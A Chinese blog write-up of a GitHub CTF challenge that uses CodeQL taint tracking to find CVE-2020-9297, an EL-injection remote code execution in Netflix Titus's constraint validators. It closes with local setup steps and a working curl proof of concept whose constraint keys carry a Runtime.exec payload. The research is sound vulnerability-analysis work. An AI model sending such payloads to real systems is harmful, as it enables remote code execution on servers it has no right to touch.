利用 CodeQL 挖掘 CVE-2020-9297 是 Github CTF 中的第四道题目,官方的答案已经公布了 https://securitylab.github.com/ctf/codeql-and-chill/answers, 这里来学习一下解决的思路。
根据官方的描述,可以看到漏洞的成因在于 Netflix Titus 在使用 Java Bean Validation (JSR 380)
的自定义 约束验证的时候,使用了 ConstraintValidatorContext.buildConstraintViolationWithTemplate()
来渲染报错信息,因此如果该函数的参数是用户可控的话,攻击者就能利用构造出的参数触发 Java EL 的执行,进而触发 RCE。
以 SchedulingConstraintSetValidator.java 中的这段存在漏洞的代码为例:
@Override public boolean isValid(Container container, ConstraintValidatorContext context) { if (container == null) { return true; } Set<String> common = new HashSet<>(container.getSoftConstraints().keySet()); common.retainAll(container.getHardConstraints().keySet()); if (common.isEmpty()) { return true; } context.buildConstraintViolationWithTemplate( "Soft and hard constraints not unique. Shared constraints: " + common ).addConstraintViolation().disableDefaultConstraintViolation(); return false; }
可以看到这里 container
是一个用户可控的参数,然后最终从 container
中获得的 common
会在不经过任何处理后就作为参数传给 buildConstraintViolationWithTemplate()
函数。
很明显 source 是 isValid
函数的第一个参数,因此如何定位 source 就变成了这样一个问题:如何在对所有接口 javax.validation.ConstraintValidator
的实现中,找到 isValid
函数的实现。
首先先抽象出接口 ConstraintValidator
:
class TypeConstraintValidator extends Interface {
TypeConstraintValidator() {
this.hasQualifiedName("javax.validation", "ConstraintValidator")
}
Method getIsValidMethod() {
result.getDeclaringType() = this and
result.hasName("isValid")
}
}
其次,因为我们想找的 source 其实是对该接口的具体实现,所以可以利用 overridesOrInstantiates
来具体判断一个函数是否是对该接口的实现:
class ConstraintValidatorIsValidMethod extends Method {
ConstraintValidatorIsValidMethod() {
this.overridesOrInstantiates*(any(TypeConstraintValidator t).getIsValidMethod())
}
}
最后可以结合对 source 的具体要求:isValid
函数的第一个参数,通过继承自 DataFlow::Node
可以得到对于 source 的定义(这里用 fromSource
限定了一下来源):
class BeanValidationSource extends DataFlow::Node {
BeanValidationSource() {
exists(ConstraintValidatorIsValidMethod isValidMethod |
this.asParameter() = isValidMethod.getParameter(0) and
isValidMethod.fromSource()
)
}
}
类似的,先对 ConstraintValidatorContext.buildConstraintViolationWithTemplate()
函数抽象出相应的定义:
class TypeConstraintValidatorContext extends RefType {
TypeConstraintValidatorContext() {
this.hasQualifiedName("javax.validation", "ConstraintValidatorContext")
}
}
class BuildConstraintViolationWithTemplateMethod extends Method {
BuildConstraintViolationWithTemplateMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext and
this.hasName("buildConstraintViolationWithTemplate")
}
}
通过对代码的理解我们可以看到,sink 实际就是 buildConstraintViolationWithTemplate
函数的第一个参数,所以我们可以如下定义:
class TemplateRenderSink extends DataFlow::Node {
TemplateRenderSink() {
exists(MethodAccess ma |
ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod and
this.asExpr() = ma.getArgument(0)
)
}
}
将我们定义的 source 和 sink 结合,定义 TaintConfig
就能开始尝试进行污点分析了:
/**
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
class TypeConstraintValidator extends Interface {
TypeConstraintValidator() {
this.hasQualifiedName("javax.validation", "ConstraintValidator")
}
Method getIsValidMethod() {
result.getDeclaringType() = this and
result.hasName("isValid")
}
}
class ConstraintValidatorIsValidMethod extends Method {
ConstraintValidatorIsValidMethod() {
this.overridesOrInstantiates*(any(TypeConstraintValidator t).getIsValidMethod())
}
}
class BeanValidationSource extends DataFlow::Node {
BeanValidationSource() {
exists(ConstraintValidatorIsValidMethod isValidMethod |
this.asParameter() = isValidMethod.getParameter(0) and
isValidMethod.fromSource()
)
}
}
class TypeConstraintValidatorContext extends RefType {
TypeConstraintValidatorContext() {
this.hasQualifiedName("javax.validation", "ConstraintValidatorContext")
}
}
class BuildConstraintViolationWithTemplateMethod extends Method {
BuildConstraintViolationWithTemplateMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext and
this.hasName("buildConstraintViolationWithTemplate")
}
}
class TemplateRenderSink extends DataFlow::Node {
TemplateRenderSink() {
exists(MethodAccess ma |
ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod and
this.asExpr() = ma.getArgument(0)
)
}
}
class TaintConfig extends TaintTracking::Configuration {
TaintConfig() { this = "TaintConfig" }
override predicate isSource(DataFlow::Node source) {
source instanceof BeanValidationSource
}
override predicate isSink(DataFlow::Node sink) {
sink instanceof TemplateRenderSink
}
override int explorationLimit() { result = 4}
}
from TaintConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"
结果如图:
很遗憾完全没看到查询后的结果 (T_T)
那么现在有必要看一下问题出在哪?
通过阅读代码,可以看到在 container
和 common
之间其实存在着非常多次的函数调用,而如果不对这些调用进行分析的话,势必无法找到从 source 到 sink 间的关键数据流:
Set<String> common = new HashSet<>(container.getSoftConstraints().keySet()); common.retainAll(container.getHardConstraints().keySet());
这里我们整理一下需要分析的函数调用:
getSoftConstraints()
keySet()
new HashSet<>()
retainAll()
我们可以结合 CodeQL 提供的 TaintTracking::AdditionalTaintStep
对这些中间调用进行分析:
首先是用通配符 get%
匹配 getSoftConstraints
函数:
class GetterTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(MethodAccess ma |
(
ma.getMethod() instanceof GetterMethod or
ma.getMethod().getName().matches("get%")
) and
n1.asExpr() = ma.getQualifier() and
n2.asExpr() = ma
)
}
}
然后是官方提供的 Maps
库来匹配 keySet
函数:
import semmle.code.java.Maps
class MapKeySetCall extends MethodAccess {
MapKeySetCall() {
this.getMethod().(MapMethod).getName() = "keySet"
}
}
class KeySetTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(MapKeySetCall call |
n1.asExpr() = call.getQualifier() and
n2.asExpr() = call
)
}
}
下一步是匹配 HashSet
的构造函数,其中上一个节点 n1
需要满足是构造函数的参数:
class HashSetConstructorCall extends Call {
HashSetConstructorCall() {
this.(ConstructorCall).getConstructedType().getSourceDeclaration().hasQualifiedName("java.util", "HashSet")
}
}
class HashSetTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(HashSetConstructorCall call |
n1.asExpr() = call.getAnArgument() and
n2.asExpr() = call
)
}
}
最后匹配 retainAll
函数,这里同样使用官方提供的 Collections
库:
import semmle.code.java.Collections
class CollectionRetainAllCall extends MethodAccess {
CollectionRetainAllCall() {
this.getMethod().(CollectionMethod).getName() = "retainAll"
}
}
class CollectionRetainAllTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(CollectionRetainAllCall ma |
n1.asExpr() = ma.getAnArgument() and
n2.asExpr() = ma.getQualifier()
)
}
}
成功找到了漏洞点:
# 下载源码 git clone https://github.com/Netflix/titus-control-plane cd titus-control-plane # 回退到漏洞修复前的 commit git reset --hard 8a8bd4c # 启动 docker docker-compose up -d
通过对 SchedulingConstraintSetValidator.java
查询交叉引用 ,可以定位到 titus-control-plane/titus-api/src/main/java/com/netflix/titus/api/jobmanager/model/job/Container.java
文件,然后发现 Container
类会作为 JobDescriptor
内的一个字段存在,而 JobDescriptor
对象可以通过 JobManagementResource
这个类内定义的 api 创建:
/.../ package com.netflix.titus.runtime.endpoint.v3.rest; import ... @Produces(MediaType.APPLICATION_JSON) @Consumes(MediaType.APPLICATION_JSON) @Api(tags = "Job Management") @Path("/v3") @Singleton public class JobManagementResource { private final JobServiceGateway jobServiceGateway; private final SystemLogService systemLog; private final CallMetadataResolver callMetadataResolver; @Inject public JobManagementResource(JobServiceGateway jobServiceGateway, SystemLogService systemLog, CallMetadataResolver callMetadataResolver) { this.jobServiceGateway = jobServiceGateway; this.systemLog = systemLog; this.callMetadataResolver = callMetadataResolver; } @POST @ApiOperation("Create a job") @Path("/jobs") public Response createJob(JobDescriptor jobDescriptor) { String jobId = Responses.fromSingleValueObservable(jobServiceGateway.createJob(jobDescriptor, resolveCallMetadata())); return Response.status(Response.Status.ACCEPTED).entity(JobId.newBuilder().setId(jobId).build()).build(); } /* 省略其他代码 */ }
所以漏洞最终的利用逻辑如下:
/api/v3/jobs
创建 JobDescriptor
对象jobDescriptor.container
会调用 SchedulingConstraintSetValidator.java
类的 isValid
函数进行校验,校验失败,键名作为错误信息通过 buildConstraintViolationWithTemplate(0)
输出curl --location --request POST 'http://127.0.0.1:7001/api/v3/jobs' \ --header 'Content-Type: application/json' \ --data-raw '{ "applicationName": "localtest", "owner": { "teamEmail": "[email protected]" }, "container": { "image": { "name": "alpine", "tag": "latest" }, "entryPoint": [ "/bin/sleep", "1h" ], "securityProfile": { "iamRole": "test-role", "securityGroups": [ "sg-test" ] }, "softConstraints": { "constraints": { "#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": "" } }, "hardConstraints": { "constraints": { "#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": "" } } }, "batch": { "size": 1, "runtimeLimitSec": "3600", "retryPolicy":{ "delayed": { "delayMs": "1000", "retries": 3 } } } }'
可以看到成功在 docker 内创建了 /tmp/pwned
文件,说明 poc 执行成功。